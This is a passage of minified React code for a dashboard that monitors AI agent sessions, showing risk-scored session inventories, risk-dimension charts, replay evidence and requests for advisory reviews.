sessions"}),e.jsx("p",{className:"toolbar-subtitle",children:s("sessions.subtitle")})]}),e.jsxs("div",{className:"toolbar-controls",role:"group","aria-label":s("sessions.filters"),children:[e.jsxs("label",{className:"search-box",children:[e.jsx(bn,{size:14}),e.jsx("input",{"aria-label":s("sessions.search"),value:b,onChange:_=>g(_.target.value),placeholder:s("sessions.searchPlaceholder")})]}),e.jsxs("select",{"aria-label":s("sessions.frameworkFilter"),value:j,onChange:_=>f(_.target.value),children:[e.jsx("option",{value:"",children:s("sessions.allFrameworks")}),B.map(_=>e.jsx("option",{value:_,children:_},_))]}),e.jsxs("select",{"aria-label":s("sessions.riskFilter"),value:v,onChange:_=>m(_.target.value),children:[e.jsx("option",{value:"",children:s("sessions.allRisk")}),e.jsx("option",{value:"medium",children:s("sessions.mediumPlus")}),e.jsx("option",{value:"high",children:s("sessions.highPlus")}),e.jsx("option",{value:"critical",children:s("sessions.criticalOnly")})]}),e.jsxs("select",{"aria-label":s("sessions.actionFilter"),value:h,onChange:_=>{const L=_.target.value;w(L),L==="budget"&&k(!0)},children:[e.jsx("option",{value:"",children:s("sessions.allActions")}),e.jsx("option",{value:"high-risk",children:s("sessions.highRiskActivity")}),e.jsx("option",{value:"defer",children:s("sessions.deferApprovals")}),e.jsx("option",{value:"l3",children:s("sessions.l3Attention")}),e.jsx("option",{value:"budget",children:s("sessions.budgetEvidence")})]}),e.jsx("button",{type:"button",className:`btn ${y?"btn-primary":""}`,onClick:()=>{const _=!y;k(_),!_&&h==="budget"&&w("")},"aria-pressed":y,children:s("sessions.budgetOnly")}),(v||j||b||h||y)&&e.jsx("button",{type:"button",className:"btn",onClick:()=>{m(""),f(""),g(""),w(""),k(!1)},children:s("common.clearFilters")}),e.jsxs("button",{className:"btn",onClick:()=>O(_=>_+1),disabled:o,children:[e.jsx(ft,{size:13,className:o?"spin-icon":void 0}),s("common.refresh")]})]})]}),e.jsxs("section",{className:"card sessions-region","aria-labelledby":"framework-overview-heading",children:[e.jsx("div",{className:"section-card-header",children:e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:s("sessions.overview")}),e.jsx("h2",{id:"framework-overview-heading",children:s("sessions.frameworkOverview")}),e.jsx("p",{className:"toolbar-subtitle",children:s("sessions.groupedCopy")})]})}),e.jsx("div",{className:"framework-overview-grid",children:R.map(_=>e.jsxs("article",{className:"framework-overview-card",children:[e.jsxs("div",{className:"framework-panel-top",children:[e.jsxs("div",{children:[e.jsx("h3",{children:_.framework}),e.jsxs("p",{children:[_.workspaceCount," ",s("common.workspaces")]})]}),e.jsx(D,{level:_.highestRisk})]}),e.jsxs("div",{className:"framework-panel-metrics",children:[e.jsxs("div",{children:[e.jsx("span",{children:s("sessions.sessionCount")}),e.jsx("strong",{children:_.sessionCount})]}),e.jsxs("div",{children:[e.jsx("span",{children:s("sessions.highRiskCount")}),e.jsx("strong",{children:_.highRiskSessionCount})]}),e.jsxs("div",{children:[e.jsx("span",{children:s("sessions.eventCount")}),e.jsx("strong",{children:_.totalEvents})]})]})]},_.framework))})]}),e.jsxs("section",{className:"card sessions-region","aria-labelledby":"session-inventory-heading",children:[e.jsx("div",{className:"section-card-header",children:e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:s("sessions.inventory")}),e.jsx("h2",{id:"session-inventory-heading",children:s("sessions.sessionInventory")}),e.jsx("p",{className:"toolbar-subtitle",children:s("sessions.inventoryCopy")})]})}),e.jsxs("div",{className:"framework-stack",children:[R.map(_=>e.jsxs("section",{className:"card framework-section",children:[e.jsxs("div",{className:"section-card-header",children:[e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:s("sessions.framework")}),e.jsx("h2",{children:_.framework})]}),e.jsxs("div",{className:"framework-section-meta",children:[e.jsxs("span",{children:[_.sessionCount," ",s("common.sessions")]}),e.jsxs("span",{children:[_.workspaceCount," ",s("common.workspaces")]}),e.jsx("span",{children:Q(_.latestActivityAt)})]})]}),e.jsx("div",{className:"workspace-grid",children:_.workspaces.map(L=>e.jsxs("article",{className:"workspace-section",children:[e.jsxs("div",{className:"workspace-section-top",children:[e.jsxs("div",{children:[e.jsxs("div",{className:"workspace-section-title",children:[e.jsx("h3",{children:L.workspaceLabel}),e.jsx(D,{level:L.highestRisk})]}),e.jsx("p",{className:"workspace-root mono",children:ys(L.workspaceRoot,t)})]}),e.jsxs("div",{className:"workspace-section-meta",children:[e.jsx("span",{className:`activity-pill activity-pill-${Ne(L.latestActivityAt)}`,children:Q(L.latestActivityAt)}),e.jsxs("span",{children:[L.sessionCount," ",s("common.sessions")]})]})]}),e.jsxs("div",{className:"workspace-summary-row",children:[e.jsxs("span",{children:[L.highRiskSessionCount," ",s("common.highRisk")]}),e.jsxs("span",{children:[L.totalEvents," ",s("common.events")]}),e.jsx("span",{children:L.callerAdapters.join(", ")||s("sessions.adapterUnavailable")})]}),e.jsx("div",{className:"session-card-stack",children:L.sessions.map(p=>{var je;const N=hs(p,t),T=p.session_risk_ewma??p.latest_composite_score??p.cumulative_score,V=p.post_action_score_ewma??p.latest_post_action_score,Z=Ja(p.window_risk_summary);return e.jsxs(F,{to:`/sessions/${p.session_id}`,className:"session-card-row",children:[e.jsxs("div",{className:"session-card-main",children:[e.jsxs("div",{className:"session-card-head",children:[e.jsx("span",{className:"mono session-card-id",children:p.session_id}),e.jsx(D,{level:p.current_risk_level})]}),e.jsxs("p",{className:"session-card-meta",children:[p.agent_id||s("sessions.unknownAgent")," · ",p.caller_adapter]}),N&&e.jsx("p",{className:"session-card-meta session-card-annotation mono",children:N}),e.jsxs("p",{className:"session-card-meta session-card-annotation mono",children:[e.jsxs("span",{children:[s("sessions.latestScore")," ",Ae(T)]})," · ",e.jsxs("span",{children:["EWMA ",Ae(p.session_risk_ewma)]}),V!==void 0&&e.jsxs(e.Fragment,{children:[" · ",e.jsxs("span",{children:[s("sessions.postActionScore")," ",Ae(V)]})]})," · ",e.jsxs("span",{children:[s("sessions.velocity")," ",Ka(p.risk_velocity??((je=p.window_risk_summary)==null?void 0:je.risk_velocity))]})," · ",e.jsxs("span",{children:[s("sessions.density")," ",Ae(Z)]})]}),e.jsx(Ya,{dist:p.decision_distribution})]}),e.jsxs("div",{className:"session-card-side",children:[e.jsx(Xa,{score:T}),e.jsxs("div",{className:"session-card-statline",children:[e.jsxs("span",{children:[p.event_count," ",s("common.events")]}),e.jsxs("span",{children:[p.high_risk_event_count," ",s("common.highRisk")]})]}),e.jsx("span",{className:`activity-pill activity-pill-${Ne(p.last_event_at)}`,children:Q(p.last_event_at)})]})]},p.session_id)})})]},L.key))})]},_.framework)),R.length===0&&!o&&e.jsx("div",{className:"card",children:e.jsx(ue,{icon:e.jsx(is,{size:20}),title:s("sessions.noSessionsTitle"),subtitle:s("sessions.noSessionsSubtitle")})})]})]})]})}const er={d1:{en:"Tool risk",zh:"工具风险"},d2:{en:"Target sensitivity",zh:"目标敏感度"},d3:{en:"Data flow",zh:"数据流"},d4:{en:"Frequency",zh:"频率"},d5:{en:"Context",zh:"上下文"},d6:{en:"Injection",zh:"注入"}},sr={d1:1,d2:1,d3:1,d4:1,d5:1,d6:3},it={background:"rgba(255, 255, 255, 0.96)",border:"1px solid rgba(148, 163, 184, 0.18)",borderRadius:16,fontSize:12,color:"#142133",boxShadow:"0 18px 40px rgba(15, 23, 42, 0.12)"},qt=3600,tr=[{label:"All",value:null},{label:"Recent 1h",value:qt}],nr=["deterministic_local","fake_llm","llm_provider"];function ir(s){if(!s||s==="all")return null;if(s==="recent-1h")return qt;const t=Number(s);return Number.isFinite(t)&&t>0?t:null}function ar(s){const t=s.toLowerCase();return t.includes("shell")||t.includes("command")?"shell":t.includes("file")||t.includes("path")?"file":t.includes("network")||t.includes("url")?"network":t.includes("secret")||t.includes("credential")||t.includes("data")?"data":"default"}function rr({hint:s}){return e.jsx("span",{className:`hint-tag hint-tag-${ar(s)}`,children:s})}function de(s){return typeof s=="number"&&Number.isFinite(s)?s.toFixed(2):"—"}function or(s){return typeof s!="number"||!Number.isFinite(s)?"—":`${s>=0?"+":""}${s.toFixed(2)}`}function lr(s){return typeof s=="number"?or(s):s==="up"?"up":s==="down"?"down":s==="flat"?"flat":"—"}function Wt(s){return(s==null?void 0:s.high_or_critical_count)??(s==null?void 0:s.high_risk_event_count)??0}function cr(s){if(!s)return null;if(typeof s.risk_density=="number"&&Number.isFinite(s.risk_density))return s.risk_density;const t=s.event_count??0;return t>0?Wt(s)/t:null}function dr(s){const t=s==null?void 0:s.window_risk_summary;return t?[`${t.event_count??0} events`,`${Wt(t)} high-risk`,`density ${de(cr(t))}`].join(" · "):"Window metrics unavailable"}function at({tier:s}){const t=s.toUpperCase(),n=t==="L3"?"badge-tier-l3":t==="L2"?"badge-tier-l2":"badge-tier-l1";return e.jsx("span",{className:`badge ${n}`,children:t})}function hr({ms:s}){const t=s<100?"latency-fast":s<3e3?"latency-medium":"latency-slow";return e.jsxs("span",{className:`latency-badge ${t}`,children:[s,"ms"]})}function rt(s){const t=String(s||"").trim().toLowerCase();return t?t.includes("preprompt")||t==="pre_prompt"?"Prompt":t.includes("postresponse")||t==="post_response"?"Response":t.includes("pretooluse")||t==="pre_action"?"Tool request":t.includes("posttooluse")||t==="post_action"?"Tool result":String(s).replace(/_/g," ").replace(/([a-z])([A-Z])/g,"$1 $2").replace(/\b\w/g,n=>n.toUpperCase()):""}function ot(s){var n,i,r;const t=String(((n=s.event)==null?void 0:n.tool_name)||"").trim();return t||rt((i=s.event)==null?void 0:i.event_subtype)||rt((r=s.event)==null?void 0:r.event_type)||"Event"}function ur(s){var r,a;if(typeof((r=s.event)==null?void 0:r.input)=="string"&&s.event.input.trim())return s.event.input.trim();const t=(a=s.event)==null?void 0:a.payload;if(!t||typeof t!="object")return"";const n=t,i=n.arguments;if(typeof n.command=="string"&&n.command.trim())return n.command.trim();if(typeof n.prompt=="string"&&n.prompt.trim())return n.prompt.trim();if(typeof n.response_text=="string"&&n.response_text.trim())return n.response_text.trim();if(typeof n.file_path=="string"&&n.file_path.trim())return n.file_path.trim();if(typeof n.path=="string"&&n.path.trim())return n.path.trim();if(i&&typeof i=="object"){const o=i;for(const d of["command","file_path","path"])if(typeof o[d]=="string"&&o[d].trim())return o[d].trim()}return""}function mr(s){const t=String(s.l3_state||"").trim().toLowerCase();return!!(s.l3_requested||s.l3_reason_code||s.l3_reason||t&&t!=="enabled"&&t!=="completed")}function pr(s){const t=s;return{risk:t,reporting:{budget:t.budget??null,budget_exhaustion_event:t.budget_exhaustion_event??null}}}function lt(s){return{records:Array.isArray(s.records)?s.records:[],nextCursor:s.next_cursor??null,reporting:{budget:s.budget??null,budget_exhaustion_event:s.budget_exhaustion_event??null}}}function ct(s){var i;const t=s==null?void 0:s.source_record_range;if(!t)return"Frozen boundary unavailable";const n=s.evidence_record_count??((i=s.evidence_event_ids)==null?void 0:i.length)??0;return`Records ${t.from_record_id}–${t.to_record_id} · ${n} event(s)`}function fr(s,t,n){return n!=null&&n.recommended_operator_action?{label:n.recommended_operator_action,detail:"Follow the advisory-only recommendation while keeping the canonical decision unchanged."}:t?{label:"review budget evidence",detail:"Confirm LLM budget exhaustion before requesting additional L3 work."}:(s==null?void 0:s.current_risk_level)==="critical"?{label:"escalate immediately",detail:"Critical posture detected; inspect replay evidence before releasing activity."}:(s==null?void 0:s.current_risk_level)==="high"?{label:"inspect replay",detail:"High-risk activity is present; review recent decisions and L3 readiness."}:{label:"monitor session",detail:"No urgent advisory action is attached; keep observing trajectory changes."}}function dt(s){const t=s.record_id;if(typeof t=="number"&&Number.isFinite(t))return t;const n=new Date(s.recorded_at).getTime();return Number.isFinite(n)?n:0}function vr(){var Es,Ls,Ts,$s,As,Ps,zs;const{t:s,language:t}=W(),{sessionId:n}=_i(),[i,r]=Rt(),[a,o]=l.useState(null),[d,c]=l.useState([]),[u,v]=l.useState(null),[m,j]=l.useState(!1),[f,b]=l.useState(null),[g,h]=l.useState(null),[w,y]=l.useState(null),[k,S]=l.useState(null),[O,U]=l.useState(0),[$,B]=l.useState(()=>ir(i.get("windowSeconds")||i.get("window"))),[X,R]=l.useState(!0),[_,L]=l.useState(!1),[p,N]=l.useState(null),[T,V]=l.useState(null),[Z,je]=l.useState(!1),[Ve,Vt]=l.useState("deterministic_local"),[Ge,Gt]=l.useState(!1);l.useEffect(()=>{n&&(R(!0),S(null),o(null),c([]),v(null),b(null),h(null),y(null),Promise.all([q.sessionRisk(n,{windowSeconds:$}),q.sessionReplayPage(n,{windowSeconds:$})]).then(([x,C])=>{const P=pr(x),M=lt(C);o(P.risk),c(M.records),v(M.nextCursor),h(P.reporting.budget??M.reporting.budget??null),y(P.reporting.budget_exhaustion_event??M.reporting.budget_exhaustion_event??null),L(!1)}).catch(()=>{{S("Could not load session detail. Try again.");return}}).finally(()=>R(!1)))},[O,n,$]);async function Qt(){if(!(!n||m||u===null)){j(!0),b(null);try{const x=await q.sessionReplayPage(n,{cursor:u,windowSeconds:$}),C=lt(x);c(P=>[...P,...C.records]),v(C.nextCursor),h(P=>P??C.reporting.budget??null),y(P=>P??C.reporting.budget_exhaustion_event??null)}catch{b("Could not load older replay records. Try again.")}finally{j(!1)}}}async function Kt(){var x,C,P,M,ee;if(!(!n||Z)){je(!0),V(null),N(null);try{const ie=await q.requestL3FullReview(n,{runner:Ve,run:!Ge}),pe=ze(Ve,t),_e=(x=ie.review)==null?void 0:x.review_id,ln=((C=ie.review)==null?void 0:C.l3_state)||((P=ie.job)==null?void 0:P.job_state)||"queued";N(Ge?`Full review queued (${pe}): ${((M=ie.job)==null?void 0:M.job_id)||"job pending"}. Canonical decision unchanged.`:_e?`Full review ${ln} (${pe}): ${_e}. Canonical decision unchanged.`:`Full review queued (${pe}): ${((ee=ie.job)==null?void 0:ee.job_id)||"job pending"}. Canonical decision unchanged.`),U(cn=>cn+1)}catch{V("Could not request L3 full review. Try again.")}finally{je(!1)}}}if(X)return e.jsxs("div",{children:[e.jsx("div",{className:"session-skeleton-spacer"}),e.jsx("div",{className:"session-detail-grid",children:[0,1,2].map(x=>e.jsx(J,{rows:4,height:220},x))}),e.jsx(J,{rows:8,height:320})]});if(k)return e.jsxs("div",{className:"session-detail-shell",children:[e.jsxs(F,{to:"/sessions",className:"back-link",children:[e.jsx(Ds,{size:13}),"Back to session inventory"]}),e.jsxs("section",{className:"card section-card session-error-card",role:"alert",children:[e.jsx("div",{className:"section-card-header",children:e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:"Session detail"}),e.jsx("h2",{children:"Unable to load session data"})]})}),e.jsx("p",{className:"priority-session-meta session-error-copy",children:k}),e.jsx("button",{type:"button",className:"secondary-button",onClick:()=>U(x=>x+1),children:"Retry"})]})]});const Qe=a?Object.entries(a.dimensions_latest).map(([x,C])=>{var ee;const P=sr[x]??1,M=Math.max(0,Math.min(C/P,1));return{dimension:((ee=er[x])==null?void 0:ee[t])||x,key:x,value:C,normalizedValue:M,max:P,fullMark:1}}):[],ks=(a==null?void 0:a.risk_timeline.map(x=>({time:new Date(x.occurred_at).toLocaleTimeString(),score:Number(x.composite_score.toFixed(3))})))??[],ws=!!(g!=null&&g.exhausted||w),Ns=a?Ie(a,t):t==="zh"?"未绑定工作区":"Unbound workspace",E=((Es=a==null?void 0:a.l3_advisory)==null?void 0:Es.latest_review)??null,me=((Ls=a==null?void 0:a.l3_advisory)==null?void 0:Ls.latest_job)??null,ne=((Ts=a==null?void 0:a.l3_advisory)==null?void 0:Ts.latest_action)??null,Ss=[...d].sort((x,C)=>dt(C)-dt(x)),Le=Ss[0]??null,Jt=Le?ot(Le):"No tool observed",Yt=Le?String(Le.decision.decision).toUpperCase():"NO REPLAY",Xt=$===null?"All recorded evidence":"Recent 1h replay scope",Rs=fr(a,ws,E),Zt=E?E.snapshot_id:"No frozen snapshot",en=E?ct(E):"Request full review to freeze a bounded advisory snapshot.",sn=a?`${Q(a.first_event_at)} · ${a.source_framework}`:"Waiting for session telemetry.",Cs=(a==null?void 0:a.latest_composite_score)??(a==null?void 0:a.cumulative_score)??null,tn=a?`${a.current_risk_level} posture · score ${de(Cs)}`:"Risk posture unavailable.",nn=d.length>0?`${d.length} decision event(s) loaded for operator review.`:"No replay records loaded yet.",an=E?`L3 ${le("l3State",E.l3_state,t)} · ${we((ne==null?void 0:ne.recommended_operator_action)||E.recommended_operator_action||"inspect",t)}.`:"No advisory review attached yet.",rn=(E==null?void 0:E.review_runner)||(E==null?void 0:E.worker_backend)||(me==null?void 0:me.runner)||null;function on(x){B(x);const C=new URLSearchParams(i);x===null?(C.delete("windowSeconds"),C.delete("window")):(C.set("windowSeconds",String(x)),C.delete("window")),r(C,{replace:!0})}return e.jsxs("div",{className:"session-detail-shell",children:[e.jsxs(F,{to:"/sessions",className:"back-link",children:[e.jsx(Ds,{size:13}),s("session.back")]}),e.jsxs("section",{className:"session-hero",children:[e.jsxs("div",{className:"session-overview-copy",children:[e.jsx("p",{className:"section-kicker",children:s("session.detail")}),_&&e.jsx("span",{className:"showcase-pill",children:"Showcase mode · demo replay"}),e.jsx("h1",{children:Ns}),e.jsxs("p",{className:"hero-copy",children:[(a==null?void 0:a.source_framework)||"unknown"," · ",(a==null?void 0:a.caller_adapter)||"unknown adapter"," · last seen ",a?Q(a.last_event_at):"recently"]})]}),e.jsxs("div",{className:"hero-chip-row session-overview-chips",children:[a&&e.jsx(D,{level:a.current_risk_level}),a&&e.jsxs("span",{className:"framework-chip",children:[e.jsx("span",{children:"Agent"}),e.jsx("strong",{children:a.agent_id})]}),a&&e.jsxs("span",{className:"framework-chip",children:[e.jsx("span",{children:"Events"}),e.jsx("strong",{children:a.event_count})]})]})]}),e.jsxs("section",{className:"session-surface session-analysis-surface","aria-labelledby":"session-analysis-heading",children:[e.jsxs("div",{className:"section-card-header session-surface-header",children:[e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:s("session.analysis")}),e.jsx("h2",{id:"session-analysis-heading",children:s("session.analysisTitle")})]}),e.jsxs("div",{className:"session-surface-actions",children:[e.jsx("span",{className:"section-meta",children:s("session.analysisMeta")}),e.jsxs("div",{className:"full-review-controls",children:[e.jsxs("label",{className:"full-review-runner-select",children:[e.jsx("span",{children:s("session.fullReviewRunner")}),e.jsx("select",{"aria-label":s("session.fullReviewRunner"),value:Ve,onChange:x=>Vt(x.target.value),disabled:Z,children:nr.map(x=>e.jsx("option",{value:x,children:ze(x,t)},x))})]}),e.jsxs("label",{className:"full-review-queue-toggle",children:[e.jsx("input",{type:"checkbox",checked:Ge,onChange:x=>Gt(x.target.checked),disabled:Z}),e.jsx("span",{children:s("session.fullReviewQueueOnly")})]})]}),e.jsx("button",{type:"button",className:"secondary-button",onClick:Kt,disabled:Z||!n,children:s(Z?"session.requestingReview":"session.requestReview")})]})]}),(p||T)&&e.jsx("p",{role:T?"alert":"status",className:"priority-session-meta","data-tone":T?"warning":"muted",children:T||p}),e.jsxs("div",{className:"session-analysis-grid",children:[e.jsxs("section",{className:"card section-card session-analysis-card-wide investigation-brief-card",children:[e.jsxs("div",{className:"section-card-header",children:[e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:s("session.workbench")}),e.jsx("h3",{children:s("session.storyline")})]}),e.jsx("span",{className:"section-meta",children:Xt})]}),e.jsxs("p",{className:"investigation-lede",children:[Ns," is being reconstructed from ",d.length," replay event(s),"," ",(a==null?void 0:a.event_count)??0," tracked event(s), and ",(a==null?void 0:a.high_risk_event_count)??0," high-risk signal(s). The workbench keeps the advisory path visible without changing canonical safety decisions."]}),e.jsxs("div",{className:"investigation-brief-grid",children:[e.jsxs("div",{className:"investigation-focus-card investigation-focus-card-primary",children:[e.jsx("span",{className:"workbench-summary-label",children:s("session.operatorRecommendation")}),e.jsx("strong",{children:Rs.label}),e.jsx("p",{children:Rs.detail})]}),e.jsxs("div",{className:"investigation-focus-card",children:[e.jsx("span",{className:"workbench-summary-label",children:s("session.latestDecision")}),e.jsx("strong",{children:Yt}),e.jsx("p",{children:Jt})]}),e.jsxs("div",{className:"investigation-focus-card",children:[e.jsx("span",{className:"workbench-summary-label",children:s("session.evidenceBoundary")}),e.jsx("strong",{children:Zt}),e.jsx("p",{children:en})]})]}),e.jsxs("ol",{className:"investigation-flow","aria-label":"Investigation sequence",children:[e.jsxs("li",{children:[e.jsx("span",{children:"1"}),e.jsxs("div",{children:[e.jsx("strong",{children:"Session captured"}),e.jsx("p",{children:sn})]})]}),e.jsxs("li",{children:[e.jsx("span",{children:"2"}),e.jsxs("div",{children:[e.jsx("strong",{children:"Risk classified"}),e.jsx("p",{children:tn})]})]}),e.jsxs("li",{children:[e.jsx("span",{children:"3"}),e.jsxs("div",{children:[e.jsx("strong",{children:"Replay evidence assembled"}),e.jsx("p",{children:nn})]})]}),e.jsxs("li",{children:[e.jsx("span",{children:"4"}),e.jsxs("div",{children:[e.jsx("strong",{children:"Advisory action"}),e.jsx("p",{children:an})]})]})]})]}),e.jsxs("section",{className:"card section-card session-analysis-card-wide session-analysis-summary-card",children:[e.jsxs("div",{className:"section-card-header",children:[e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:s("session.priorityView")}),e.jsx("h3",{children:s("session.currentPosture")})]}),e.jsxs("div",{className:"hero-panel-header",children:[e.jsx(vt,{size:14}),s("session.analysisSummary")]})]}),e.jsxs("div",{className:"session-analysis-summary-grid",children:[e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.currentRisk")}),e.jsx("div",{className:"session-analysis-stat-value",children:a?e.jsx(D,{level:a.current_risk_level}):s("common.unavailable")})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.latestComposite")}),e.jsx("strong",{className:"mono",children:de(Cs)})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.cumulativeScore")}),e.jsx("strong",{className:"mono",children:de(a==null?void 0:a.cumulative_score)})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.sessionRiskEwma")}),e.jsx("strong",{className:"mono",children:de(a==null?void 0:a.session_risk_ewma)})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.riskVelocity")}),e.jsx("strong",{className:"mono",children:lr((a==null?void 0:a.risk_velocity)??(($s=a==null?void 0:a.window_risk_summary)==null?void 0:$s.risk_velocity))})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.windowRiskSummary")}),e.jsx("strong",{className:"mono",children:dr(a)})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.highRiskEvents")}),e.jsx("strong",{className:"mono",children:(a==null?void 0:a.high_risk_event_count)??0})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.trackedEvents")}),e.jsx("strong",{className:"mono",children:(a==null?void 0:a.event_count)??0})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.firstEvent")}),e.jsx("strong",{className:"mono",children:a?Q(a.first_event_at):"—"})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.lastEvent")}),e.jsx("strong",{className:"mono",children:a?Q(a.last_event_at):"—"})]})]})]}),e.jsxs("section",{className:"card section-card session-analysis-card-wide advisory-review-card",children:[e.jsxs("div",{className:"section-card-header",children:[e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:s("session.advisoryOnly")}),e.jsx("h3",{children:s("session.l3Review")})]}),e.jsx("span",{className:"section-meta",children:s("session.l3ReviewMeta")})]}),E?e.jsxs(e.Fragment,{children:[e.jsxs("div",{className:"advisory-review-grid",children:[e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.reviewState")}),e.jsx("strong",{className:"mono",children:le("l3State",E.l3_state,t)})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.reviewId")}),e.jsx("strong",{className:"mono",children:E.review_id})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.snapshotId")}),e.jsx("strong",{className:"mono",children:E.snapshot_id})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.jobId")}),e.jsx("strong",{className:"mono",children:(me==null?void 0:me.job_id)||s("common.unavailable")})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.advisoryRisk")}),e.jsx("div",{className:"session-analysis-stat-value",children:e.jsx(D,{level:E.risk_level})})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.operatorAction")}),e.jsx("strong",{className:"mono",children:we(E.recommended_operator_action||"inspect",t)})]}),e.jsxs("div",{className:"session-analysis-stat",children:[e.jsx("span",{children:s("session.reviewRunner")}),e.jsx("strong",{className:"mono",children:ze(rn,t)})]})]}),e.jsx("p",{className:"priority-session-meta advisory-review-boundary",children:ct(E)}),((As=E.findings)==null?void 0:As.length)>0&&e.jsxs("p",{className:"priority-session-meta",children:["Finding: ",e.jsx("span",{className:"mono",children:E.findings[0]})]}),E.analysis_summary&&e.jsxs("div",{className:"advisory-narrative-panel",children:[e.jsx("strong",{children:s("session.narrativeAnalysis")}),e.jsx("p",{children:E.analysis_summary})]}),(Ps=E.analysis_points)!=null&&Ps.length?e.jsxs("div",{className:"advisory-narrative-panel",children:[e.jsx("strong",{children:s("session.analysisPoints")}),e.jsx("ul",{children:E.analysis_points.map(x=>e.jsx("li",{children:x},x))})]}):null,(zs=E.operator_next_steps)!=null&&zs.length?e.jsxs("div",{className:"advisory-narrative-panel",children:[e.jsx("strong",{children:s("session.nextSteps")}),e.jsx("ol",{children:E.operator_next_steps.map(x=>e.jsx("li",{children:x},x))})]}):null,e.jsx("p",{className:"priority-session-meta",children:s("session.canonicalUnchanged")}),ne&&e.jsxs("p",{className:"priority-session-meta",children:["L3 advisory action: ",e.jsx("span",{className:"mono",children:we(ne.recommended_operator_action,t)})," ","· advisory-only / canonical unchanged",ne.source_record_range?` · records ${ne.source_record_range.from_record_id}–${ne.source_record_range.to_record_id}`:""]})]}):e.jsx("p",{className:"empty-inline",children:s("session.noL3Review")})]}),e.jsxs("section",{className:"card section-card chart-card",children:[e.jsx("div",{className:"section-card-header",children:e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:s("session.dimensions")}),e.jsx("h3",{children:s("session.riskComposition")})]})}),e.jsx("div",{className:"chart-card-body chart-card-radar",children:Qe.length>0?e.jsxs(e.Fragment,{children:[e.jsx(Ms,{width:"100%",height:260,children:e.jsxs(En,{data:Qe,children:[e.jsx("defs",{children:e.jsxs("radialGradient",{id:"riskRadarFill",cx:"50%",cy:"50%",r:"62%",children:[e.jsx("stop",{offset:"0%",stopColor:"#22d3ee",stopOpacity:.42}),e.jsx("stop",{offset:"68%",stopColor:"#5ea5ff",stopOpacity:.24}),e.jsx("stop",{offset:"100%",stopColor:"#a78bfa",stopOpacity:.16})]})}),e.jsx(Ln,{stroke:"rgba(120, 196, 255, 0.16)",radialLines:!1}),e.jsx(Tn,{dataKey:"dimension",tick:{fill:"#b8c7dd",fontSize:11,fontWeight:600}}),e.jsx($n,{angle:90,domain:[0,1],tick:!1,axisLine:!1}),e.jsx(An,{dataKey:"normalizedValue",stroke:"#67e8f9",fill:"url(#riskRadarFill)",fillOpacity:.88,strokeWidth:2.5}),e.jsx(Is,{contentStyle:it,formatter:(x,C,P)=>{const M=P==null?void 0:P.payload;return[M?`${de(M.value)} / ${M.max}`:"—","score"]}})]})}),e.jsx("div",{className:"risk-dimension-bars",children:[...Qe].sort((x,C)=>C.value-x.value).map(x=>e.jsxs("div",{className:"risk-dimension-row",children:[e.jsxs("div",{children:[e.jsx("strong",{children:x.dimension}),e.jsx("span",{className:"mono",children:de(x.value)})]}),e.jsx("div",{className:"risk-dimension-track","aria-hidden":"true",children:e.jsx("span",{style:{width:`${x.normalizedValue*100}%`}})})]},x.dimension))})]}):e.jsx("p",{className:"empty-inline",children:s("session.noDimensionData")})})]}),e.jsxs("section",{className:"card section-card chart-card",children:[e.jsx("div",{className:"section-card-header",children:e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:s("session.timeline")}),e.jsx("h3",{children:s("session.riskTimeline")})]})}),e.jsx("div",{className:"chart-card-body chart-card-area",children:ks.length>0?e.jsx(Ms,{width:"100%",height:220,children:e.jsxs(Pn,{data:ks,margin:{top:8,right:8,bottom:0,left:-12},children:[e.jsx("defs",{children:e.jsxs("linearGradient",{id:"riskGradient",x1:"0",y1:"0",x2:"0",y2:"1",children:[e.jsx("stop",{offset:"5%",stopColor:"#5ea5ff",stopOpacity:.34}),e.jsx("stop",{offset:"95%",stopColor:"#5ea5ff",stopOpacity:0})]})}),e.jsx(zn,{strokeDasharray:"3 3",stroke:"rgba(120, 196, 255, 0.08)"}),e.jsx(On,{dataKey:"time",tick:{fill:"#89a4bd",fontSize:10},axisLine:!1,tickLine:!1}),e.jsx(Fn,{tick:{fill:"#89a4bd",fontSize:10},axisLine:!1,tickLine:!1,domain:[0,1]}),e.jsx(Is,{contentStyle:it}),e.jsx(Dn,{type:"monotone",dataKey:"score",stroke:"#5ea5ff",strokeWidth:2,fill:"url(#riskGradient)",dot:{fill:"#5ea5ff",r:3,strokeWidth:0},activeDot:{r:5,fill:"#5ea5ff"}})]})}):e.jsx("p",{className:"empty-inline",children:s("session.noTimelineData")})})]}),e.jsxs("section",{className:"card section-card 